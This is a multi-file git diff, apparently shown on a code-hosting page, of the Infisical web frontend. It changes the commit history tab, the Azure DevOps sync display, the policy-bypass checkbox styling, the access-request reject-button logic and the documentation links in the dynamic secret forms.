<div className="overflow-hidden rounded-md border border-solid border-mineshaft-600">
|
|
||||||
<CommitItem commit={commit} onSelectCommit={onSelectCommit} />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -150,7 +125,7 @@ export const CommitHistoryTab = ({
|
|||||||
const [offset, setOffset] = useState(0);
|
const [offset, setOffset] = useState(0);
|
||||||
const [allCommits, setAllCommits] = useState<Commit[]>([]);
|
const [allCommits, setAllCommits] = useState<Commit[]>([]);
|
||||||
const debounceTimeoutRef = useRef<NodeJS.Timeout>();
|
const debounceTimeoutRef = useRef<NodeJS.Timeout>();
|
||||||
const limit = 5;
|
const limit = 10;
|
||||||
|
|
||||||
// Debounce search term
|
// Debounce search term
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@ -234,42 +209,37 @@ export const CommitHistoryTab = ({
|
|||||||
}, [hasMore, isFetching, limit]);
|
}, [hasMore, isFetching, limit]);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full">
|
<div className="mt-4 w-full rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
|
||||||
|
<p className="mb-4 text-xl font-semibold text-mineshaft-100">Commit History</p>
|
||||||
<div className="mb-4 flex flex-col sm:flex-row sm:justify-end">
|
<div className="mb-4 flex flex-col sm:flex-row sm:justify-end">
|
||||||
<div className="flex w-full flex-wrap items-center gap-2">
|
<div className="flex w-full flex-wrap items-center gap-2">
|
||||||
<div className="relative flex-grow">
|
<div className="relative flex-grow">
|
||||||
<Input
|
<Input
|
||||||
|
leftIcon={<FontAwesomeIcon icon={faSearch} aria-hidden="true" />}
|
||||||
placeholder="Search commits..."
|
placeholder="Search commits..."
|
||||||
className="h-10 w-full rounded-md border-transparent bg-zinc-800 pl-9 pr-3 text-sm text-white placeholder-gray-400 focus:border-gray-600 focus:ring-primary-500/20"
|
|
||||||
onChange={(e) => handleSearch(e.target.value)}
|
onChange={(e) => handleSearch(e.target.value)}
|
||||||
value={searchTerm}
|
value={searchTerm}
|
||||||
aria-label="Search commits"
|
aria-label="Search commits"
|
||||||
/>
|
/>
|
||||||
<div className="absolute left-3 top-1/2 -translate-y-1/2 transform text-gray-400">
|
|
||||||
<FontAwesomeIcon icon={faSearch} aria-hidden="true" />
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
<Button
|
<IconButton
|
||||||
variant="outline_bg"
|
variant="outline_bg"
|
||||||
size="md"
|
size="sm"
|
||||||
className="flex h-10 items-center justify-center gap-2 rounded-md bg-zinc-800 px-4 py-2 text-sm text-white transition-colors duration-200 hover:bg-zinc-700 focus:outline-none focus:ring-2 focus:ring-primary-500"
|
className="flex h-[2.4rem] items-center justify-center gap-2 rounded-md"
|
||||||
onClick={handleSort}
|
onClick={handleSort}
|
||||||
aria-label={`Sort by date ${sortDirection === "desc" ? "ascending" : "descending"}`}
|
ariaLabel={`Sort by date ${sortDirection === "desc" ? "ascending" : "descending"}`}
|
||||||
>
|
>
|
||||||
<FontAwesomeIcon
|
<FontAwesomeIcon
|
||||||
icon={sortDirection === "desc" ? faArrowDownWideShort : faArrowUpWideShort}
|
icon={sortDirection === "desc" ? faArrowDownWideShort : faArrowUpWideShort}
|
||||||
aria-hidden="true"
|
aria-hidden="true"
|
||||||
/>
|
/>
|
||||||
</Button>
|
</IconButton>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{isLoading && offset === 0 ? (
|
{isLoading && offset === 0 ? (
|
||||||
<div className="flex h-64 items-center justify-center">
|
<ContentLoader className="h-80" />
|
||||||
<Spinner size="lg" aria-label="Loading commits" />
|
|
||||||
</div>
|
|
||||||
) : (
|
) : (
|
||||||
<div className="space-y-8">
|
<div>
|
||||||
{Object.keys(groupedCommits).length > 0 ? (
|
{Object.keys(groupedCommits).length > 0 ? (
|
||||||
<>
|
<>
|
||||||
{Object.entries(groupedCommits).map(([date, dateCommits]) => (
|
{Object.entries(groupedCommits).map(([date, dateCommits]) => (
|
||||||
@ -282,34 +252,21 @@ export const CommitHistoryTab = ({
|
|||||||
))}
|
))}
|
||||||
</>
|
</>
|
||||||
) : (
|
) : (
|
||||||
<div className="text-white-400 flex min-h-40 flex-col items-center justify-center rounded-lg bg-zinc-900 py-8 text-center">
|
<EmptyState title="No commits found." icon={faCodeCommit} />
|
||||||
<FontAwesomeIcon
|
|
||||||
icon={faSearch}
|
|
||||||
className="text-white-500 mb-3 text-3xl"
|
|
||||||
aria-hidden="true"
|
|
||||||
/>
|
|
||||||
<p>No matching commits found. Try a different search term.</p>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{hasMore && (
|
{hasMore && (
|
||||||
<div className="flex justify-center pb-2">
|
<div className="flex justify-center pb-2">
|
||||||
<Button
|
<Button
|
||||||
variant="outline_bg"
|
variant="outline_bg"
|
||||||
size="md"
|
size="sm"
|
||||||
className="rounded-md bg-zinc-900 px-6 py-2 text-sm font-medium text-white transition-colors duration-200 hover:bg-zinc-800 focus:outline-none focus:ring-2 focus:ring-primary-500"
|
className="ml-10 mt-4 w-full"
|
||||||
onClick={loadMoreCommits}
|
onClick={loadMoreCommits}
|
||||||
disabled={isFetching}
|
disabled={isFetching}
|
||||||
|
isLoading={isFetching}
|
||||||
aria-label="Load more commits"
|
aria-label="Load more commits"
|
||||||
>
|
>
|
||||||
{isFetching ? (
|
Load More Commits
|
||||||
<>
|
|
||||||
<Spinner size="sm" className="mr-2" />
|
|
||||||
Loading...
|
|
||||||
</>
|
|
||||||
) : (
|
|
||||||
"Load more commits"
|
|
||||||
)}
|
|
||||||
</Button>
|
</Button>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
@ -115,10 +115,8 @@ export const getSecretSyncDestinationColValues = (secretSync: TSecretSync) => {
|
|||||||
secondaryText = "Vault ID";
|
secondaryText = "Vault ID";
|
||||||
break;
|
break;
|
||||||
case SecretSync.AzureDevOps:
|
case SecretSync.AzureDevOps:
|
||||||
primaryText = destinationConfig.devopsProjectName || destinationConfig.devopsProjectId;
|
primaryText = destinationConfig.devopsProjectName;
|
||||||
secondaryText = destinationConfig.devopsProjectName
|
secondaryText = destinationConfig.devopsProjectId;
|
||||||
? destinationConfig.devopsProjectId
|
|
||||||
: "Project ID";
|
|
||||||
break;
|
break;
|
||||||
case SecretSync.Heroku:
|
case SecretSync.Heroku:
|
||||||
primaryText = destinationConfig.appName;
|
primaryText = destinationConfig.appName;
|
||||||
|
@ -174,7 +174,7 @@ export const SecretOverviewTableRow = ({
|
|||||||
)}
|
)}
|
||||||
{isSecretEmpty && (
|
{isSecretEmpty && (
|
||||||
<Tooltip content="Empty value">
|
<Tooltip content="Empty value">
|
||||||
<FontAwesomeIcon size="sm" icon={faCircle} className="text-yellow" />
|
<FontAwesomeIcon size="sm" icon={faCircle} />
|
||||||
</Tooltip>
|
</Tooltip>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
@ -255,11 +255,6 @@ export const ReviewAccessRequestModal = ({
|
|||||||
return "You are not the reviewer in this step.";
|
return "You are not the reviewer in this step.";
|
||||||
};
|
};
|
||||||
|
|
||||||
// users can always reject (cancel) their own request
|
|
||||||
const isRejectionDisabled = request.isRequestedByCurrentUser
|
|
||||||
? false
|
|
||||||
: !(request.isApprover && request.isSelfApproveAllowed) && !bypassApproval;
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Modal isOpen={isOpen} onOpenChange={onOpenChange}>
|
<Modal isOpen={isOpen} onOpenChange={onOpenChange}>
|
||||||
<ModalContent
|
<ModalContent
|
||||||
@ -450,7 +445,7 @@ export const ReviewAccessRequestModal = ({
|
|||||||
onCheckedChange={(checked) => setBypassApproval(checked === true)}
|
onCheckedChange={(checked) => setBypassApproval(checked === true)}
|
||||||
isChecked={bypassApproval}
|
isChecked={bypassApproval}
|
||||||
id="byPassApproval"
|
id="byPassApproval"
|
||||||
className={twMerge("mr-2", bypassApproval ? "!border-red/50 !bg-red/30" : "")}
|
className={twMerge("mr-2", bypassApproval ? "!border-red/30 !bg-red/10" : "")}
|
||||||
>
|
>
|
||||||
<span className="text-xs text-red">
|
<span className="text-xs text-red">
|
||||||
Approve without waiting for requirements to be met (bypass policy protection)
|
Approve without waiting for requirements to be met (bypass policy protection)
|
||||||
@ -494,7 +489,14 @@ export const ReviewAccessRequestModal = ({
|
|||||||
</Button>
|
</Button>
|
||||||
<Button
|
<Button
|
||||||
isLoading={isLoading === "rejected"}
|
isLoading={isLoading === "rejected"}
|
||||||
isDisabled={!!isLoading || isRejectionDisabled}
|
isDisabled={
|
||||||
|
!!isLoading ||
|
||||||
|
(!(
|
||||||
|
request.isApprover &&
|
||||||
|
(!request.isRequestedByCurrentUser || request.isSelfApproveAllowed)
|
||||||
|
) &&
|
||||||
|
!bypassApproval)
|
||||||
|
}
|
||||||
onClick={() => handleReview("rejected")}
|
onClick={() => handleReview("rejected")}
|
||||||
className="mt-4 border-transparent bg-transparent text-mineshaft-200 hover:border-red hover:bg-red/20 hover:text-mineshaft-200"
|
className="mt-4 border-transparent bg-transparent text-mineshaft-200 hover:border-red hover:bg-red/20 hover:text-mineshaft-200"
|
||||||
size="sm"
|
size="sm"
|
||||||
|
@ -168,7 +168,7 @@ export const SecretApprovalRequestAction = ({
|
|||||||
isChecked={byPassApproval}
|
isChecked={byPassApproval}
|
||||||
id="byPassApproval"
|
id="byPassApproval"
|
||||||
checkIndicatorBg="text-white"
|
checkIndicatorBg="text-white"
|
||||||
className={twMerge("mr-2", byPassApproval ? "!border-red/50 !bg-red/30" : "")}
|
className={twMerge("mr-2", byPassApproval ? "!border-red/30 !bg-red/10" : "")}
|
||||||
>
|
>
|
||||||
<span className="text-sm">
|
<span className="text-sm">
|
||||||
Merge without waiting for approval (bypass secret change policy)
|
Merge without waiting for approval (bypass secret change policy)
|
||||||
|
@ -1,5 +1,10 @@
|
|||||||
import { Controller, useForm } from "react-hook-form";
|
import { Controller, useForm } from "react-hook-form";
|
||||||
import { faCheckCircle, faWarning } from "@fortawesome/free-solid-svg-icons";
|
import {
|
||||||
|
faArrowUpRightFromSquare,
|
||||||
|
faBookOpen,
|
||||||
|
faCheckCircle,
|
||||||
|
faWarning
|
||||||
|
} from "@fortawesome/free-solid-svg-icons";
|
||||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import ms from "ms";
|
import ms from "ms";
|
||||||
@ -201,6 +206,20 @@ export const AzureEntraIdInputForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/azure-entra-id"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex-grow">
|
<div className="flex-grow">
|
||||||
|
@ -12,12 +12,7 @@ import {
|
|||||||
} from "react-icons/si";
|
} from "react-icons/si";
|
||||||
import { VscAzure } from "react-icons/vsc";
|
import { VscAzure } from "react-icons/vsc";
|
||||||
import { faAws, faGithub, faGoogle } from "@fortawesome/free-brands-svg-icons";
|
import { faAws, faGithub, faGoogle } from "@fortawesome/free-brands-svg-icons";
|
||||||
import {
|
import { faClock, faDatabase } from "@fortawesome/free-solid-svg-icons";
|
||||||
faArrowUpRightFromSquare,
|
|
||||||
faBookOpen,
|
|
||||||
faClock,
|
|
||||||
faDatabase
|
|
||||||
} from "@fortawesome/free-solid-svg-icons";
|
|
||||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { AnimatePresence, motion } from "framer-motion";
|
import { AnimatePresence, motion } from "framer-motion";
|
||||||
|
|
||||||
@ -157,15 +152,6 @@ const DYNAMIC_SECRET_LIST = [
|
|||||||
}
|
}
|
||||||
];
|
];
|
||||||
|
|
||||||
const DynamicSecretDetails = Object.fromEntries(
|
|
||||||
DYNAMIC_SECRET_LIST.map((ds) => [ds.provider, ds.title])
|
|
||||||
);
|
|
||||||
|
|
||||||
const UniqueLinks: Record<string, string> = {
|
|
||||||
[DynamicSecretProviders.SqlDatabase]: "postgresql", // gotta pick one...
|
|
||||||
[DynamicSecretProviders.MongoAtlas]: "mongo-atlas"
|
|
||||||
};
|
|
||||||
|
|
||||||
export const CreateDynamicSecretForm = ({
|
export const CreateDynamicSecretForm = ({
|
||||||
isOpen,
|
isOpen,
|
||||||
onToggle,
|
onToggle,
|
||||||
@ -183,31 +169,10 @@ export const CreateDynamicSecretForm = ({
|
|||||||
setSelectedProvider(null);
|
setSelectedProvider(null);
|
||||||
};
|
};
|
||||||
|
|
||||||
const modalTitle = selectedProvider ? DynamicSecretDetails[selectedProvider] : null;
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Modal isOpen={isOpen} onOpenChange={(state) => handleFormReset(state)}>
|
<Modal isOpen={isOpen} onOpenChange={(state) => handleFormReset(state)}>
|
||||||
<ModalContent
|
<ModalContent
|
||||||
title={
|
title="Dynamic secret setup"
|
||||||
<div className="flex items-center">
|
|
||||||
<span>{modalTitle ? `${modalTitle} Dynamic Secret` : "Dynamic Secrets"} </span>
|
|
||||||
<a
|
|
||||||
href={`https://infisical.com/docs/documentation/platform/dynamic-secrets/${selectedProvider ? (UniqueLinks[selectedProvider] ?? selectedProvider) : "overview"}`}
|
|
||||||
target="_blank"
|
|
||||||
className="mb-0.5 ml-1.5"
|
|
||||||
rel="noopener noreferrer"
|
|
||||||
>
|
|
||||||
<div className="inline-block rounded-md bg-yellow/20 px-1.5 text-sm text-yellow opacity-80 hover:opacity-100">
|
|
||||||
<FontAwesomeIcon icon={faBookOpen} className="mb-[0.03rem] mr-1 text-[12px]" />
|
|
||||||
<span>Docs</span>
|
|
||||||
<FontAwesomeIcon
|
|
||||||
icon={faArrowUpRightFromSquare}
|
|
||||||
className="mb-[0.07rem] ml-1 text-[10px]"
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
</a>
|
|
||||||
</div>
|
|
||||||
}
|
|
||||||
subTitle="Configure dynamic secret parameters"
|
subTitle="Configure dynamic secret parameters"
|
||||||
className="my-4 max-w-3xl"
|
className="my-4 max-w-3xl"
|
||||||
>
|
>
|
||||||
|
@ -1,5 +1,10 @@
|
|||||||
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
|
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
|
||||||
import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
|
import {
|
||||||
|
faArrowUpRightFromSquare,
|
||||||
|
faBookOpen,
|
||||||
|
faQuestionCircle,
|
||||||
|
faTrash
|
||||||
|
} from "@fortawesome/free-solid-svg-icons";
|
||||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import { useQuery } from "@tanstack/react-query";
|
import { useQuery } from "@tanstack/react-query";
|
||||||
@ -288,6 +293,20 @@ export const KubernetesInputForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center space-x-2">
|
||||||
|
@ -1,4 +1,6 @@
|
|||||||
import { Controller, useForm } from "react-hook-form";
|
import { Controller, useForm } from "react-hook-form";
|
||||||
|
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||||
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import ms from "ms";
|
import ms from "ms";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
@ -218,6 +220,20 @@ export const LdapInputForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/ldap"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center space-x-2">
|
||||||
|
@ -1,4 +1,6 @@
|
|||||||
import { Controller, useForm } from "react-hook-form";
|
import { Controller, useForm } from "react-hook-form";
|
||||||
|
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||||
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import ms from "ms";
|
import ms from "ms";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
@ -183,6 +185,20 @@ export const SnowflakeInputForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center space-x-2">
|
||||||
|
@ -1,4 +1,6 @@
|
|||||||
import { Controller, useForm } from "react-hook-form";
|
import { Controller, useForm } from "react-hook-form";
|
||||||
|
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||||
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
|
|
||||||
@ -144,6 +146,20 @@ export const TotpInputForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<Controller
|
<Controller
|
||||||
|
@ -1,5 +1,10 @@
|
|||||||
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
|
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
|
||||||
import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
|
import {
|
||||||
|
faArrowUpRightFromSquare,
|
||||||
|
faBookOpen,
|
||||||
|
faQuestionCircle,
|
||||||
|
faTrash
|
||||||
|
} from "@fortawesome/free-solid-svg-icons";
|
||||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import { useQuery } from "@tanstack/react-query";
|
import { useQuery } from "@tanstack/react-query";
|
||||||
@ -280,6 +285,20 @@ export const EditDynamicSecretKubernetesForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center space-x-2">
|
||||||
|
@ -1,4 +1,6 @@
|
|||||||
import { Controller, useForm } from "react-hook-form";
|
import { Controller, useForm } from "react-hook-form";
|
||||||
|
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||||
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import ms from "ms";
|
import ms from "ms";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
@ -184,6 +186,20 @@ export const EditDynamicSecretSnowflakeForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center space-x-2">
|
||||||
|
@ -1,4 +1,6 @@
|
|||||||
import { Controller, useForm } from "react-hook-form";
|
import { Controller, useForm } from "react-hook-form";
|
||||||
|
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
|
||||||
|
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||||
import { zodResolver } from "@hookform/resolvers/zod";
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
|
|
||||||
@ -136,6 +138,20 @@ export const EditDynamicSecretTotpForm = ({
|
|||||||
<div>
|
<div>
|
||||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||||
Configuration
|
Configuration
|
||||||
|
<a
|
||||||
|
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
>
|
||||||
|
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||||
|
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||||
|
Docs
|
||||||
|
<FontAwesomeIcon
|
||||||
|
icon={faArrowUpRightFromSquare}
|
||||||
|
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col">
|
<div className="flex flex-col">
|
||||||
<Controller
|
<Controller
|
||||||
|
@ -7,12 +7,8 @@ type Props = {
|
|||||||
|
|
||||||
export const AzureDevOpsSyncDestinationSection = ({ secretSync }: Props) => {
|
export const AzureDevOpsSyncDestinationSection = ({ secretSync }: Props) => {
|
||||||
const {
|
const {
|
||||||
destinationConfig: { devopsProjectName, devopsProjectId }
|
destinationConfig: { devopsProjectName }
|
||||||
} = secretSync;
|
} = secretSync;
|
||||||
|
|
||||||
return (
|
return <GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>;
|
||||||
<GenericFieldLabel label={devopsProjectName ? "Project" : "Project ID"}>
|
|
||||||
{devopsProjectName || devopsProjectId}
|
|
||||||
</GenericFieldLabel>
|
|
||||||
);
|
|
||||||
};
|
};
|
||||||
|
Reference in New Issue
Block a user